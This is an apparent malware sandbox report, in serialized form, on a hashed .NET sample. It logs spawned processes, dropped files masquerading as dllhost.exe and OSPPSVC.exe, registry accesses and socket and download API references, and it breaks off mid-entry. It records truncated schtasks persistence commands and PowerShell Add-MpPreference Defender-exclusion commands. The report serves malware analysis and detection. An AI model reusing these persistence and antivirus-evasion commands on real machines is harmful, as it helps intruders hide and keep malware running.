string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00007792-00000C25-48654935]5c:T890,Spawned process "schtasks.exe" with commandline "/create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'%PROGRAMFILES%\\(x ..." (UID: 00000000-00000768), Spawned process "schtasks.exe" with commandline "/create /tn "dllhost" /sc ONLOGON /tr "'%PROGRAMFILES%\\(x86)\\M ..." (UID: 00000000-00004652), Spawned process "schtasks.exe" with commandline "/create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'%PROGRAMFILES%\\( ..." (UID: 00000000-00004364) Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVCO" /sc MINUTE /mo 8 /tr "'%WINDIR%\\Tasks\\O ..." (UID: 00000000-00002352), Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVC" /sc ONLOGON /tr "'%WINDIR%\\Tasks\\OSPPSVC ..." (UID: 00000000-00006052), Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVCO" /sc MINUTE /mo 7 /tr "'%WINDIR%\\Tasks\\O ..." (UID: 00000000-00005220) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 12 /tr "'%PROGRAMFILES ..." (UID: 00000000-00000892), Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64" /sc ONLOGON /tr "'%PROGRAMFILES%\\(x86 ..." (UID: 00000000-00000364) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 6 /tr "'%PROGRAMFILES% ..." (UID: 00000000-00007972), Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\a45e ..." (UID: 00000000-00001248), Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAM ..." (UID: 00000000-00007296), Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR% ..." (UID: 00000000-00001292), Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAM ..." (UID: 00000000-00008120), Spawned process "cmd.exe" with commandline "/C "%TEMP%\\rgVo7Q94jw.bat"" (UID: 00000000-00005324), Spawned process "w32tm.exe" with commandline "w32tm /stripchart /computer:localhost /period:5 /dataonly /samp ..." (UID: 00000000-00003248), Spawned process "AutoIt3_x64.exe" (UID: 00000000-00004212)5d:T890,Spawned process "schtasks.exe" with commandline "/create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'%PROGRAMFILES%\\(x ..." (UID: 00000000-00000768), Spawned process "schtasks.exe" with commandline "/create /tn "dllhost" /sc ONLOGON /tr "'%PROGRAMFILES%\\(x86)\\M ..." (UID: 00000000-00004652), Spawned process "schtasks.exe" with commandline "/create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'%PROGRAMFILES%\\( ..." (UID: 00000000-00004364) Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVCO" /sc MINUTE /mo 8 /tr "'%WINDIR%\\Tasks\\O ..." (UID: 00000000-00002352), Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVC" /sc ONLOGON /tr "'%WINDIR%\\Tasks\\OSPPSVC ..." (UID: 00000000-00006052), Spawned process "schtasks.exe" with commandline "/create /tn "OSPPSVCO" /sc MINUTE /mo 7 /tr "'%WINDIR%\\Tasks\\O ..." (UID: 00000000-00005220) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 12 /tr "'%PROGRAMFILES ..." (UID: 00000000-00000892), Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64" /sc ONLOGON /tr "'%PROGRAMFILES%\\(x86 ..." (UID: 00000000-00000364) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 6 /tr "'%PROGRAMFILES% ..." (UID: 00000000-00007972), Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\a45e ..." (UID: 00000000-00001248), Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAM ..." (UID: 00000000-00007296), Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR% ..." (UID: 00000000-00001292), Spawned process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAM ..." (UID: 00000000-00008120), Spawned process "cmd.exe" with commandline "/C "%TEMP%\\rgVo7Q94jw.bat"" (UID: 00000000-00005324), Spawned process "w32tm.exe" with commandline "w32tm /stripchart /computer:localhost /period:5 /dataonly /samp ..." (UID: 00000000-00003248), Spawned process "AutoIt3_x64.exe" (UID: 00000000-00004212)5e:T45c,"a45e2d72a3718dd27e9b0703307a2e4a.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\Jwlm5H7P52" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rgVo7Q94jw.bat" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_dmmkdlfc.uwe.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_dpvulu1j.t00.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_gz2g0vze.cxy.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ql5sundz.fo5.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ur2m2j4e.y23.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_n4feelrx.ovd.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_lci5wmjd.m5s.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_kahyhpeu.u3x.psm1"5f:Tbab,"dllhost.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%PROGRAMFILES%\(x86)\Microsoft OneDrive\dllhost.exe]- [targetUID: 00000000-00007792] "a45e2d72a3718dd27e9b0703307a2e4a.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\a45e2d72a3718dd27e9b0703307a2e4a.exe.log]- [targetUID: 00000000-00007792] "AutoIt3_x64.exe.log" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "OSPPSVC.exe.log" has type "CSV text"- [targetUID: N/A] "rgVo7Q94jw.bat" has type "DOS batch file ASCII text with CRLF line terminators"- Location: [%TEMP%\rgVo7Q94jw.bat]- [targetUID: 00000000-00007792] "RCX39E1.tmp" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%PROGRAMFILES%\(x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\RCX39E1.tmp]- [targetUID: 00000000-00007792] "RCX2E95.tmp" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%PROGRAMFILES%\(x86)\Microsoft OneDrive\RCX2E95.tmp]- [targetUID: 00000000-00007792] "RCX34CF.tmp" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%WINDIR%\Tasks\RCX34CF.tmp]- [targetUID: 00000000-00007792] "RCX27AE.tmp" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [C:\RCX27AE.tmp]- [targetUID: 00000000-00007792] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001248] "1610b97d3ab4a7" has type "ASCII text with very long lines with no line terminators"- Location: [%WINDIR%\Tasks\1610b97d3ab4a7]- [targetUID: 00000000-00007792] "21217b1546ce04" has type "ASCII text with very long lines with no line terminators"- Location: [%PROGRAMFILES%\(x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\21217b1546ce04]- [targetUID: 00000000-00007792] "5940a34987c991" has type "ASCII text with no line terminators"- Location: [%PROGRAMFILES%\(x86)\Microsoft OneDrive\5940a34987c991]- [targetUID: 00000000-00007792] "AutoIt3_x64.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "Jwlm5H7P52" has type "ASCII text with no line terminators"- Location: [%TEMP%\Jwlm5H7P52]- [targetUID: 00000000-00007792] "OSPPSVC.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%WINDIR%\Tasks\OSPPSVC.exe]- [targetUID: 00000000-00007792] "AutoIt3_x64.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%PROGRAMFILES%\(x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\AutoIt3_x64.exe]- [targetUID: 00000000-00007792] "OSPPSVC.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "dllhost.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]60:T809,"a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")61:Tc9c,"a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "A45E2D72A3718DD27E9B0703307A2E4A"; Value: "")62:T404,"a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\Windows\System32\mscoree.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\a45e2d72a3718dd27e9b0703307a2e4a.exe" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\FLTLIB.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to touch file "C:\Windows\System32\imm32.dll"63:T414,"a45e2d72a3718dd27e9b0703307a2e4a.exe" touched file "C:\Program Files (x86)\Microsoft OneDrive\dllhost.exe" "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched file "C:\Program Files (x86)\Microsoft OneDrive\dllhost.exe:Zone.Identifier" "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched file "C:\Program Files (x86)\Microsoft OneDrive\5940a34987c991" "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched file "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\AutoIt3_x64.exe" "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched file "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\AutoIt3_x64.exe:Zone.Identifier" "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched file "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\21217b1546ce04" "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched file "C:\Program Files (x86)\Microsoft OneDrive\RCX2E95.tmp" "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched file "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\RCX39E1.tmp"64:Tc96,"a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\FLTLIB.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\COMBASE.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\BCRYPT.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\CRYPTSP.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\CRYPTBASE.DLL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\PSAPI.DLL"65:T8d5,"a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\A45E2D72A3718DD27E9B0703307A2E4A.EXE.CONFIG" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\A45E2D72A3718DD27E9B0703307A2E4A.EXE.LOG" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\a45e2d72a3718dd27e9b0703307a2e4a.exe.config" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\TTSOXBSQLAC47EE7D33#" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\A45E2D72A3718DD27E9B0703307A2E4A.INI" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\a45e2d72a3718dd27e9b0703307a2e4a.INI" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\SYSTEM.SECURITY" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\SYSTEM.SECURITY.INI" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.INI" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\SYSTEM.WEB" "a45e2d72a3718dd27e9b0703307a2e4a.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\SYSTEM.WEB.INI"66:T465,"a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\program files (x86)\microsoft onedrive\dllhost.exe" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\program files (x86)\microsoft onedrive\dllhost.exe:zone.identifier" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\program files (x86)\microsoft onedrive\5940a34987c991" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\windows\tasks\osppsvc.exe" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\windows\tasks\osppsvc.exe:zone.identifier" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\windows\tasks\1610b97d3ab4a7" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v3.0\autoit3_x64.exe" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v3.0\autoit3_x64.exe:zone.identifier" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v3.0\21217b1546ce04" "a45e2d72a3718dd27e9b0703307a2e4a.exe" writes file "c:\rcx27ae.tmp"67:T9c7,Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference ".ctor" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference ".ctor" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "get_Client" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "SendTo" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference ".ctor" in "dllhost.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference ".ctor" in "dllhost.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "get_Client" in "dllhost.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "dllhost.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "SendTo" in "dllhost.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference ".ctor" in "RCX39E1.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference ".ctor" in "RCX39E1.tmp" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "get_Client" in "RCX39E1.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "RCX39E1.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "SendTo" in "RCX39E1.tmp" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference ".ctor" in "RCX2E95.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference ".ctor" in "RCX2E95.tmp" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "get_Client" in "RCX2E95.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "RCX2E95.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "SendTo" in "RCX2E95.tmp" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference ".ctor" in "RCX34CF.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference ".ctor" in "RCX34CF.tmp" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "get_Client" in "RCX34CF.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "RCX34CF.tmp" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "SendTo" in "RCX34CF.tmp"68:Ta51,Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.WebClient" and MemberReference "get_Headers" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in 